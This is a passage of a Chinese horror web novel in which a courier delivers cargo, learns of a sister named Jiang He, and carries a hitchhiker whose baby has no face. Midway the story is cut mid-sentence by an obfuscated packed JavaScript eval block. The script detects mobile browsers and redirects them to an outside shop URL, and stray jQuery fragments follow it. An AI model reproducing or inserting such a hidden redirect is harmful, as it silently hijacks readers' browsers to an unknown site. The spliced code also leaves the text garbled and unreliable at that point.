姜迟没有立刻回答老太太。
她推开车门下车，先办正事。
看仓的老头还站在那片焦土边上，拄着那根扁担，月光把他的影子拉得老长。见她过来，他把扁担往地上一杵。
“到了。”姜迟说。
“到了。”老头点点头，目光越过她，看向她身后的车，“先交货，再唠。”
姜迟绕到车尾，开锁。八个乘客还坐在车厢里，绿皮座椅上一排影子，见她开门，八双眼睛齐刷刷转过来。
“不下车。”老头在后面说，“人货不沾这块地。你把盒子给我就行。”
姜迟爬上车厢，解开角落里的绳子，把那个油布包裹的长条木盒搬下来。盒子还是温的，一路上都是这个温度，像是抱着它的人刚放下不久。
老头接过盒子，没拆。
他把盒子横在扁担上，从怀里摸出一张回执。回执是黄纸的，印着表格，他用铅笔填了几行，又从指头上一咬，按了个血指印。
“行了。”他把回执递给她，“拿回去给老周，两清。”
姜迟接过来，看了一眼。回执上写着：收讫，青岭七号仓，木盒一件，完好。落款按的手印。
她把回执折好，揣进内兜，跟老周那张烟盒纸收据放在一起。
“大爷。”她转过身，“刚才隧道里的广播，您听见了吗？”
“隧道的事，传得远。”老头说，“我在这站上，什么听不见。”
“姜禾是谁？”
老头沉默了。
月光底下，他的脸绷得很紧，像是这个问题问到了他守了十九年的东西。他拄着扁担，往废墟的砖墙上靠了靠。
“你姐。”他说。
姜迟站在原地，没有动。
“我没有姐。”她说，“我家户口本上就四口人，我爸，我妈，我，还有。”
她说不下去了。
“还有谁？”老头看着她。
还有弟弟。她想说，可话到嘴边，那个“弟弟”的形象忽然变得模糊起来。她想起在公路上无脸人说过的话，想起假姜迟说的全家福，想起备注栏里那两个字。
“你上车上看看。”老头说，“你那八个乘客里，有个老太太。你问问她，认不认识一个叫姜禾的。”
姜迟回到车尾，老太太正扒着车厢门边的缝往外看。其他乘客都坐得直直的，只有老太太探着头，一双眼睛哭得红肿。
“大娘。”姜迟说，“您刚才问姜禾是谁。您认识？”
老太太浑身一抖。
“那是我闺女的名。”老太太的声音劈了，“我闺女就叫姜禾。十九年前没的，活不见人死不见尸。闺女，你车里刚才广播念这个名，我以为，我以为。”
老太太说不下去了，捂着脸哭。
车厢里其他的乘客还是一动不动。抱孩子的女人抱着孩子，孩子睁着眼，安静得不像个婴儿。
姜迟的头嗡嗡响。
王秀兰的闺女，叫姜禾。她姐，也叫姜禾。这两个名字撞在一起，是巧合，还是这条路上的账，从来就是这么记的。
“丫头。”看仓老头在后面叫她，“过来，我跟你说几句话。”
姜迟跳下尾板，走过去。
老头压低了声音：“你这一车人，收货地解锁了吗？”
她拿出手机看了一眼。订单界面刷新过，收货地那一栏不再显示未解锁，跳出了一个新的地址。
【收货地：青岭村东，姜家老宅。】
【剩余时间：两小时。】
姜迟把手机递过去给老头看。老头眯着眼看完，脸色沉了下来。
“这单不该接。”他说。
“单派下来的。”
“我知道单派下来的。”老头把她的手机推回去，“可你看看这收货地。姜家老宅，十九年前就烧没了，跟这仓一天烧的。你这车人送到一栋烧没的宅子去，签收的人是谁，你想过吗？”
“想不出来。”姜迟说，“所以我才要问。大爷，当年到底发生了什么？姜禾是怎么没的？我爸又是怎么没的？”
老头看着她，看了很久。
“天快亮了。”他最后说，“你先把这单送完。有些问题，站对了地方问，才有答案。站错了地方，问了就死。”
他转身朝废墟里走，走出两步，又停下。
“丫头，最后一句。”他没有回头，“你这车上，人数不对。”
姜迟的心猛地一紧。
她跳上车厢，从头到尾数了一遍。老太太，中年工装男，年轻夫妻，孩子，眼镜男孩，拄拐老头，红裙子女人，玩手机的男人。
八个。
她数了两遍，都是八个。
名单也是八个。
她跳下车，想问老头哪里不对，废墟里已经没有人影了。那半截砖墙底下空空荡荡，扁担和老头都不见了，只剩月光照在焦土上。
手机震动。
【第三单完成：顺路货已签收。】
【修理铺欠账：已清。】
【提示：第二单即将到达收货地，请准时送达。】
姜迟回到驾驶室，发动车。车头调转，绕出废墟，重新上路。
月光越来越淡，天边泛起一层灰白。她按导航的指示往东开，开了十几分钟，前方出现了村庄的轮廓。
青岭村。
村子建在半山腰，土路蜿蜒进去，两边的房子大多黑着，只有零星一两户亮着灯。路越走越窄，导航的提示音也越来越急。
“前方两百米，到达目的地。”
姜迟把车速降下来。
就在这时候，前方路边的阴影里，走出来一个人。
是个女人，穿着一件白底蓝花的罩衫，头发松松地挽着，怀里抱着个东西。她走到路中间，站定，朝车扬了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947446|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扬手。
搭车人。
机械女声响起：“检测到搭车人。规则：不可拒绝搭车。”
姜迟靠边停车，降下车窗。
女人走到车窗边上，弯下腰。她的脸很憔悴，眼下两团青黑，像是很久没睡过。
“师傅。”女人的声音哑的，“捎我一程。”
“您去哪？”
“进村。”女人说，“我就住村东头。这天快亮了，我抱着孩子，走不动。”
她说着，把怀里的东西往上托了托。
是个孩子。用一条小毯子裹着，安安静静地贴在女人胸前。
姜迟的目光落在孩子身上，又落回女人脸上。
“上车吧。”她说，“坐后面。后面有座。”
女人拉开车门，上了车厢。姜迟从后视镜里看着，女人抱着孩子，在老太太旁边的空位上坐下了。老太太往旁边让了让。
姜迟收回目光，刚要挂挡，备注栏里浮出一行字。
【别让货看见孩子的脸。】
她的手停在档把上。
货。她这一车的货，就是那八个人。
她回头看了一眼车厢。女人抱着孩子坐在中间，低着头，正轻轻地晃，哄孩子睡觉。周围的乘客都朝着前方，没有人去看那个孩子。
姜迟想了想，伸手把驾驶座上方挂着的一件旧外套取下来，递到后面。
“大姐。”她说，“孩子睡着了吧？拿这个给孩子挡挡风，车厢漏风。”
女人抬起头，冲她感激地笑了笑：“谢谢师傅。”
她接过外套，没有给孩子披上，而是拿在手里，犹豫了一下。
就在这一犹豫的工夫，怀里的孩子动了。
孩子自己动了。小毯子松开来，孩子仰起脸，朝着车厢里那八个乘客的方向。
姜迟从后视镜里看得清清楚楚。
那孩子没有脸。
没有眼睛，没有鼻子，没有嘴，就像一张揉皱了又抚平的白纸。
孩子仰着那张没有五官的脸，朝着乘客的方向，慢慢地，慢慢地“转”了一圈。
八个乘客还朝着前方坐着。
可姜迟看见，那个一直低头玩手机的男人，手指停了。红裙子女人交叠的手紧了紧。抱孩子的年轻母亲，把自己的孩子往怀里又拢了拢。
她们都看见了。
备注栏里，那行字变了。
【已经看见了。】
【停车。快停车。别开进村子。】
紧接着，车厢里响起了那个没脸孩子的声音。
不是从嘴里发出来的。那张脸上没有嘴。声音是从孩子的身体里发出来的，嗡嗡的，像是很多声音挤在一个腔子里。
“到了。”孩子说，“妈妈，我们到家了。”
女人抱着孩子，站起身。
车厢里的八个乘客，同时转过了头。